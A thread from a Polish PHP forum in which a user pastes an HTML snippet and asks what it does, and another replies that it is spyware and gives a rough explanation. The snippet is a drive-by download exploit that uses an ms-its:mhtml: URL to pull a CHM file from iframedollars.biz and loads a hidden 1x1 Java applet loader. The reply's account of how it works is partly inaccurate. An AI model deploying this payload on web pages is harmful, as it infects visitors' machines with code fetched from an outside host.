Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> co to robi?
goped
post
Post #1





Grupa: Zarejestrowani
Postów: 156
Pomógł: 0
Dołączył: 28.11.2003
Skąd: gliwice

Ostrzeżenie: (0%)
-----


tylko bez smiechu :]
co robi ten skrypt?

  1. </head><body>
  2. <textarea cd="cxw" style="display:none;" >
  3. <object data="${PR}" type="text/x-scriptlet"></object>
  4.  
  5. <script language="javascript">
  6. document.write(cxw.value.replace(/\${PR}/g,'ms-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
  7. </script>
  8. <applet width=1 height=1 ARCHIVE=loaderadv407.jar code=Counter></APPLET></body></html>

szczesliwego nowego roku :]bye bye
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 3)
shizo
post
Post #2





Grupa: Zarejestrowani
Postów: 85
Pomógł: 0
Dołączył: 11.11.2003
Skąd: Lubin

Ostrzeżenie: (10%)
X----


To jakiś spyware. Zapisuje dane do pliku i pobiera inne z strony.
Go to the top of the page
+Quote Post
goped
post
Post #3





Grupa: Zarejestrowani
Postów: 156
Pomógł: 0
Dołączył: 28.11.2003
Skąd: gliwice

Ostrzeżenie: (0%)
-----


ale moglbys mi przetlumaczyc w jaki sposob on dziala? :]
Go to the top of the page
+Quote Post
shizo
post
Post #4





Grupa: Zarejestrowani
Postów: 85
Pomógł: 0
Dołączył: 11.11.2003
Skąd: Lubin

Ostrzeżenie: (10%)
X----


http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
Wykorzystując błąd w przeglądarce zapisuje się na dysk C w pliku nosuch.mht, i kiedy wejdziesz w ten plik, (a najcześciej uruchamia się przy starcie, bo prawdopodobnie to jakiś wirus skryptowy.) to uruchamia ci się strona http://iframedollars.biz/dl/adv407/x.chm::/x.htm, katra prawdopodobnie zawiera spyware, trojanki i inne syfy.
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 23.08.2025 - 07:04